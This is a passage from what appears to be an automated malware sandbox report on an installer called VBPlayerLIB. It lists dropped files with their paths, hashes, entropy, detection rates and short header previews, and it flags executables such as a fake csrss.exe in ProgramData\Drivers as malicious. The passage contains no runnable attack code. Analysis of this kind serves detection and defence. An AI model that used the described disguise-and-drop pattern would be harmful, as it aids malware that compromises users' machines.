Preview:	FORMAT controls the output. Interpreted sequences are:.. %% a literal %. %a locale's abbreviated weekday name (e.g., Sun). %A locale's full weekday name (e.g., Sunday). %b locale's abbreviated month name (e.g., Jan). %B locale's full month name (e.g., January). %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005). %C century; like %Y, except omit last two digits (e.g., 20). %d day of month (e.g., 01). %D date; same as %m/%d/%y. %e day of month, space padded; same as %_d. %F full date; same as %Y-%m-%d. %g last two digits of year of ISO week number (see %G). %G year of ISO week number (see %V); normally useful only with %V. %h same as %b. %H hour (00..23). %I hour (01..12). %j day of year (001..366). %k hour, space padded ( 0..23); same as %_H. %l hour, space padded ( 1..12); same as %_I. %m month (01..12). %M minute (00..59). %n a newline. %N nanoseconds (000000000..999999999). %p locale's equivalent of eith

C:\Program Files (x86)\VBPlayerLIB\stuff\is-1CASU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	5.088030483893024
Encrypted:	false
SSDEEP:	24:ZhIPjdbiNJQ387Udf9NpHjjY2S7AJYazRMiZMjYzMX2OP5usmC2ZxJnIBVjYHwZ2:vg79lS7sbtujNfuvlXJEVjH4O2
MD5:	992C00BEAB194CE392117BB419F53051
SHA1:	8F9114C95E2A2C9F9C65B9243D941DCB5CEA40DE
SHA-256:	9E35C8E29CA055CE344E4C206E7B8FF1736158D0B47BF7B3DBC362F7EC7E722C
SHA-512:	FACDCA78AE7D874300EACBE3014A9E39868C93493B9CD44AAE1AB39AFA4D2E0868E167BCA34F8C445AA7CCC9DDB27E1B607D739AF94AA4840789A3F01E7BED9D
Malicious:	false
Preview:	.# Tag replace definition..# ..# Values must be put into sections...# The following section names are supported:..#..# [*] is for all tags, i.e. values specified under this section will be replace in all tags..# Following tag-specific identifiers can be used. Values will be replaced only in specified tag...# [Conductor]..# [Date]..# [Publisher]..# [Lyrics]..# [Flags]..# [ISRC]..# [Title]..# [Catalog]..# [Year]..# [Genre]..# [Artist]..# [Album]..# [DiscId]..# [BPM]..# [Album Artist]..# [Composer]..# [Content Group]..# [Compilation]..# [Disc]..# [Track]..# [Comments]..# [Encoded by]..#..# Format is <value from>=<value to>..# where <value from> is case-sensitive value, which will be replaced..# with <value to>, which is RegEx expression...#..# If you want to do a case insensitive replacement, add ! to the name of the section ..#..# Those are specific value, which can be used as <value from>:..#..# <NULL> is used to specify empty tag as well as empty value, e.g. ..# [Comments]..# <ANY>=<

C:\Program Files (x86)\VBPlayerLIB\stuff\is-40GIB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	IFF data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.781797138644031
Encrypted:	false
SSDEEP:	24:wSXqInX3C5DMDxJWyjPTw2C4F0lB6v4AnFt+cUeC1/B0vFFNgpX27:wSacX3ChMDxPpulB6gAFHSJE6X27
MD5:	257D1BF38FA7859FFC3717EF36577C04
SHA1:	A9D2606CFC35E17108D7C079A355A4DB54C7C2EE
SHA-256:	DFACC2F208EBF6D6180EE6E882117C31BB58E8B6A76A26FB07AC4F40E245A0CB
SHA-512:	E13A6F489C9C5BA840502F73ACD152D366E0CCDD9D3D8E74B65FF89FDC70CD46F52E42EEE0B4BA9F151323EC07C4168CF82446334564ADAA8666624F7B8035F3
Malicious:	false
Preview:	FORMAT controls the output. Interpreted sequences are:.. %% a literal %. %a locale's abbreviated weekday name (e.g., Sun). %A locale's full weekday name (e.g., Sunday). %b locale's abbreviated month name (e.g., Jan). %B locale's full month name (e.g., January). %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005). %C century; like %Y, except omit last two digits (e.g., 20). %d day of month (e.g., 01). %D date; same as %m/%d/%y. %e day of month, space padded; same as %_d. %F full date; same as %Y-%m-%d. %g last two digits of year of ISO week number (see %G). %G year of ISO week number (see %V); normally useful only with %V. %h same as %b. %H hour (00..23). %I hour (01..12). %j day of year (001..366). %k hour, space padded ( 0..23); same as %_H. %l hour, space padded ( 1..12); same as %_I. %m month (01..12). %M minute (00..59). %n a newline. %N nanoseconds (000000000..999999999). %p locale's equivalent of eith

C:\Program Files (x86)\VBPlayerLIB\stuff\is-6OHCL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	5.088030483893024
Encrypted:	false
SSDEEP:	24:ZhIPjdbiNJQ387Udf9NpHjjY2S7AJYazRMiZMjYzMX2OP5usmC2ZxJnIBVjYHwZ2:vg79lS7sbtujNfuvlXJEVjH4O2
MD5:	992C00BEAB194CE392117BB419F53051
SHA1:	8F9114C95E2A2C9F9C65B9243D941DCB5CEA40DE
SHA-256:	9E35C8E29CA055CE344E4C206E7B8FF1736158D0B47BF7B3DBC362F7EC7E722C
SHA-512:	FACDCA78AE7D874300EACBE3014A9E39868C93493B9CD44AAE1AB39AFA4D2E0868E167BCA34F8C445AA7CCC9DDB27E1B607D739AF94AA4840789A3F01E7BED9D
Malicious:	false
Preview:	.# Tag replace definition..# ..# Values must be put into sections...# The following section names are supported:..#..# [*] is for all tags, i.e. values specified under this section will be replace in all tags..# Following tag-specific identifiers can be used. Values will be replaced only in specified tag...# [Conductor]..# [Date]..# [Publisher]..# [Lyrics]..# [Flags]..# [ISRC]..# [Title]..# [Catalog]..# [Year]..# [Genre]..# [Artist]..# [Album]..# [DiscId]..# [BPM]..# [Album Artist]..# [Composer]..# [Content Group]..# [Compilation]..# [Disc]..# [Track]..# [Comments]..# [Encoded by]..#..# Format is <value from>=<value to>..# where <value from> is case-sensitive value, which will be replaced..# with <value to>, which is RegEx expression...#..# If you want to do a case insensitive replacement, add ! to the name of the section ..#..# Those are specific value, which can be used as <value from>:..#..# <NULL> is used to specify empty tag as well as empty value, e.g. ..# [Comments]..# <ANY>=<

C:\Program Files (x86)\VBPlayerLIB\stuff\is-NNQV6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	IFF data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.781797138644031
Encrypted:	false
SSDEEP:	24:wSXqInX3C5DMDxJWyjPTw2C4F0lB6v4AnFt+cUeC1/B0vFFNgpX27:wSacX3ChMDxPpulB6gAFHSJE6X27
MD5:	257D1BF38FA7859FFC3717EF36577C04
SHA1:	A9D2606CFC35E17108D7C079A355A4DB54C7C2EE
SHA-256:	DFACC2F208EBF6D6180EE6E882117C31BB58E8B6A76A26FB07AC4F40E245A0CB
SHA-512:	E13A6F489C9C5BA840502F73ACD152D366E0CCDD9D3D8E74B65FF89FDC70CD46F52E42EEE0B4BA9F151323EC07C4168CF82446334564ADAA8666624F7B8035F3
Malicious:	false
Preview:	FORMAT controls the output. Interpreted sequences are:.. %% a literal %. %a locale's abbreviated weekday name (e.g., Sun). %A locale's full weekday name (e.g., Sunday). %b locale's abbreviated month name (e.g., Jan). %B locale's full month name (e.g., January). %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005). %C century; like %Y, except omit last two digits (e.g., 20). %d day of month (e.g., 01). %D date; same as %m/%d/%y. %e day of month, space padded; same as %_d. %F full date; same as %Y-%m-%d. %g last two digits of year of ISO week number (see %G). %G year of ISO week number (see %V); normally useful only with %V. %h same as %b. %H hour (00..23). %I hour (01..12). %j day of year (001..366). %k hour, space padded ( 0..23); same as %_H. %l hour, space padded ( 1..12); same as %_I. %m month (01..12). %M minute (00..59). %n a newline. %N nanoseconds (000000000..999999999). %p locale's equivalent of eith

C:\Program Files (x86)\VBPlayerLIB\stuff\tagsreplace.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	5.088030483893024
Encrypted:	false
SSDEEP:	24:ZhIPjdbiNJQ387Udf9NpHjjY2S7AJYazRMiZMjYzMX2OP5usmC2ZxJnIBVjYHwZ2:vg79lS7sbtujNfuvlXJEVjH4O2
MD5:	992C00BEAB194CE392117BB419F53051
SHA1:	8F9114C95E2A2C9F9C65B9243D941DCB5CEA40DE
SHA-256:	9E35C8E29CA055CE344E4C206E7B8FF1736158D0B47BF7B3DBC362F7EC7E722C
SHA-512:	FACDCA78AE7D874300EACBE3014A9E39868C93493B9CD44AAE1AB39AFA4D2E0868E167BCA34F8C445AA7CCC9DDB27E1B607D739AF94AA4840789A3F01E7BED9D
Malicious:	false
Preview:	.# Tag replace definition..# ..# Values must be put into sections...# The following section names are supported:..#..# [*] is for all tags, i.e. values specified under this section will be replace in all tags..# Following tag-specific identifiers can be used. Values will be replaced only in specified tag...# [Conductor]..# [Date]..# [Publisher]..# [Lyrics]..# [Flags]..# [ISRC]..# [Title]..# [Catalog]..# [Year]..# [Genre]..# [Artist]..# [Album]..# [DiscId]..# [BPM]..# [Album Artist]..# [Composer]..# [Content Group]..# [Compilation]..# [Disc]..# [Track]..# [Comments]..# [Encoded by]..#..# Format is <value from>=<value to>..# where <value from> is case-sensitive value, which will be replaced..# with <value to>, which is RegEx expression...#..# If you want to do a case insensitive replacement, add ! to the name of the section ..#..# Those are specific value, which can be used as <value from>:..#..# <NULL> is used to specify empty tag as well as empty value, e.g. ..# [Comments]..# <ANY>=<

C:\Program Files (x86)\VBPlayerLIB\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	InnoSetup Log VBPlayerLIB, version 0x30, 7961 bytes, 960781\user, "C:\Program Files (x86)\VBPlayerLIB"
Category:	dropped
Size (bytes):	7961
Entropy (8bit):	5.102029014567975
Encrypted:	false
SSDEEP:	96:P1qN8WVPp/bK+T4hlOIhu84cVSQs0LnSxsV6qazJ:P1S8WVPpZ+QIhgcVSQ1nFPQ
MD5:	BAC6354A763B3C9959A3CEF4954F350B
SHA1:	E7F1725BEFD72AC0D573F965646F412F498FE8A5
SHA-256:	7959D702602096C66957EE1F31B53517BCB72F9971FC98112BC9984358A38DB1
SHA-512:	B5E40C2572D52F96A14CF13F3DEF6C5917661CD809CCA513AEDC94B3DAB77D09B3165D938F6F1B80F250481A7A87CD550BEB66E824F0A59A014AC5E9B25962A8
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................VBPlayerLIB.....................................................................................................................VBPlayerLIB.....................................................................................................................0...B.......%................................................................................................................:.R................B....960781.user"C:\Program Files (x86)\VBPlayerLIB.............5.... ..........h.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...............................o...........!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dll.GetSystem

C:\Program Files (x86)\VBPlayerLIB\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	714526
Entropy (8bit):	6.506159198508778
Encrypted:	false
SSDEEP:	12288:sRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExycV:uObekrkfohrP337uzHnA6cH+iHEOWUGM
MD5:	7554A3259587E484E6793BE1AEB65BCB
SHA1:	E3C23BB2ED5F85296B70853AC09077D5CA85EE58
SHA-256:	2D88BBEBB06AF06A8A66D51F50DD0BD44372711EF6943EA48A07D82726FC6D7B
SHA-512:	987B9A5E7A76B6F5A9057BAC41947BDB742DBDE0831D258DABC3153610277C053AA589C84D6214F8D52409E91FDD1129707318553E5B3E9D4EC4C72AAC8C7CED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\ProgramData\Drivers\csrss.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2021376
Entropy (8bit):	7.91258925332053
Encrypted:	false
SSDEEP:	49152:nQCcNRNesmcy+R1ILb5yQSa+k38buZWQZ7AL4PP8O:nVcNRpy+cf5yQAihv7i4HJ
MD5:	F5404C44B8FB624AD16068D23D269886
SHA1:	CB5F72CEA1EC6BAA806AD12359BECC29F9D8EA90
SHA-256:	ACF231E2E45D787EC58F155B0D6EB302126558F6AACE15002A7F2C1CB653899D
SHA-512:	C2A27273644A6723C4EEDAE0601DD75C638F30A4844B1AC4297910FB331BD6EBFFAA126BEDD54F6CF2555C2E3B18006EC404574CF916566239204836696974F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...K..c......................D......0............@...........................`......q..........................................d....._............................................................0...@............................................text............................... ..`.rdata...L.......N..................@..@.data.....B.........................@....rsrc........._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER290.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87844
Entropy (8bit):	3.0814297341560883
Encrypted:	false
SSDEEP:	1536:+3S8nSJZKzqpIQhz2a4VQRaAVtaADZIaVonMv5H:+3S8nSJZKzqpIQhz2a4VQRaAVtaADZIo
MD5:	8657E65778C019DB29DFC6548DCA02C5
SHA1:	C83AE1AF80A68E5C598BE3FC1AAFD9622F56F27B
SHA-256:	E503A343D89401976DF1B1E8A3A700B883FF29761E32C834A4986EB77EA44F45
SHA-512:	A6009A205C100B58CA131F6ADDB68EB32C6CBBCD288EE07A73D575EC563C1A6150B910B0143D6BF32E2BC3F8197EB65182ED835BEE1AC3A5328A3C6C4D1048A6
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER35C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6860720997039294
Encrypted:	false
SSDEEP:	96:TiZYW21D0PH0Y9YUWnHdYEZAbtDibIfqpwYNga0hlMMG/2Ihg3:2ZD2LK34Sa0h2MG/xhg3
MD5:	94976E10157CDC059526B085C5CEDD3D
SHA1:	0029FD3486065BA4BEB7D0A49D8067304D7187A3
SHA-256:	6A1E56FE7766358B00B421EFAF814C3C3C303DB3F0CE31F5CEF971F287C7F0EC
SHA-512:	25BF1490001E8F4D817B4AF9FEFF6262F4A26ECA28505EEEE32DF0229A6692C341B228AE9140329198516A2837C4E45D3FA616FEB8B4F8239BB811E402E17F6A
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A2F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87128
Entropy (8bit):	3.081340077632527
Encrypted:	false
SSDEEP:	1536:GaIaPrl/ArnTkoCWkaAVtaADQ4a0g5uZSx:GaIaPrl/ArnTkoCWkaAVtaADQ4a0g5uo
MD5:	0214DC762A6DA3F8AADF9CB195B0569F
SHA1:	16BB11E7096A2E012A2E0651E7CBF711790F8FA8
SHA-256:	1DD9CECAECAAE936612C67572850FF75B9F0742648E3C4D1AD26988F9005D99C
SHA-512:	EA44CAA6ECB874E8492EA7CF6EBD29B9FC6B5282E2C7839403B6023E0157BD6181AF286C75C3F48A3E42125608B078323AC18DA9801ED43C03C4C1E982229D4A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C43.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6863743047110105
Encrypted:	false
SSDEEP:	96:TiZYWW8nWLYMY4WkHzYEZVdCtDiPB3bqZwcrgkalqdTMMD6CIHj3:2ZDe7TdBWValq6MD6lHj3
MD5:	76140B8EDBB81B9BEF261DB51735B017
SHA1:	CA9D7D31153F0750F9CBCEC83CF7E1E55C6FAC3B
SHA-256:	4F5B958FB7F8E1971B232C087E37F6811B3540A3B497EE16B7924CF579A027AB
SHA-512:	1F6343ACEBA600F0F7CB3AF56F05E743A711A7883DBC056C65B34B59AE57D1FD3EA7ACD06CD46811F4199DCAA88C2EED1FB3378C30EC849ED05432A2583FE5D9
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\N75Bitscore\N75Bitscore.exe

Download File

Process:	C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2875391
Entropy (8bit):	6.306445824472355
Encrypted:	false
SSDEEP:	49152:7CEtFh29Lk6ofzVBe7N2ohVoHwdsVNfeSX:uEtFhg4bzfe7TroQd0NfeO
MD5:	025F0305F33F6C3E7F55217194C451AE
SHA1:	AB3CDED0FE2EBECF06A639C2739F4D039A39DED7
SHA-256:	E122E038DF0854C023D89060E1EACBD953C8B8436C1491AB0FC5A64DDFE86560
SHA-512:	DACD5CF8CC3A773D01D6762CEF776B74B7CB0C0F6F7AE54C0582F875EF5C59AA2148BCF14A708331332AA759EF967E7245D114BC4E6761767E928530FAA8F746
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.mX..>X..>X..>7..>Y..>...>L..>7..>b..>:..>T..>X..>...>X..>K..>n1.>Y..>...>Y..>RichX..>................PE..L.....e.................p...........5............@...........................,.....I.,.....................................X...........x............................................................................................................text....b.......p.................. ..`.rdata...2.......@..................@..@.data...\|O.......0..................@....rsrc...x...........................@..@.tcell....... ......................`...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\rc.dat

Download File

Process:	C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:uln:qn
MD5:	5572CB8F883D1C6BA9FA8DEF56A4D005
SHA1:	547E1C47715FC2D97A7E6F01A6EAC8C710A4A279
SHA-256:	10E39F6489DD137DFD75A85143577A057EC560EA8F054BFE7E2F35268DDF9C58
SHA-512:	AD20FAE22E7D989EB745E739A03727090A20B285CA4602743BFA4AA91DD7C66223D25A3E334A224E1A8334E9C86DB43AC25B51BFFB950FD32CA9AE423D3E8005
Malicious:	false
Preview:	....

C:\ProgramData\resource.dat

Download File

Process:	C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9069818137270764
Encrypted:	false
SSDEEP:	3:1k/GTQycTEvIgAnDTa3pkHil/:1rQy0EvIxPa3pkHit
MD5:	357ACA400DC2E1FC61FC5B8C66BA4975
SHA1:	35BD8E97F1FF7F55C3D1082C70AB99BDBBCDFD44
SHA-256:	F5832873187B52BE987AF2BDDB7E2FEA81E0605C6A9843020C375D1710CED212
SHA-512:	2CE616BC68801013EA59C59FD232822D59B68C30AB8701F802D0D686DF92CDB19B329A6FD2B3EAE2E91862F048D2BD7A35A2430C70F466F609A350745E88549C
Malicious:	false
Preview:	3e0f2500c0db57d92fa196d33e7a2b8f6ce30e1128f6a30e537a9ba072d59a73................................................................

C:\ProgramData\ts.dat

Download File

Process:	C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:NA/n:NA/
MD5:	CD233585934454486549C1D4C6F1AE52
SHA1:	EB28B67FDAD0C132F5995174EA24F45DA4D1E12B
SHA-256:	6F307FB4A0EAEFD476D5B92C42B331A27EC5D3ACF70BA358AEB5FDFA56C3B656
SHA-512:	B92990F176874EF5798C15F17108952CB425E33B17A2EF694E9703E23A8A7EA38D683E8B06DAEAEBA19BF630768AC105305622EAD50E04B8280891541DFB974B
Malicious:	false
Preview:	.M.e....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7B24.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\7B24.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	2A56468A7C0F324A42EA599BF0511FAF
SHA1:	404B343A86EDEDF5B908D7359EB8AA957D1D4333
SHA-256:	6398E0BD46082BBC30008BC72A2BA092E0A1269052153D343AA40F935C59957C
SHA-512:	19B79181C40AA51C7ECEFCD4C9ED42D5BA19EA493AE99654D3A763EA9B21B1ABE5B5739AAC425E461609E1165BCEA749CFB997DE0D35303B4CF2A29BDEF30B17
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
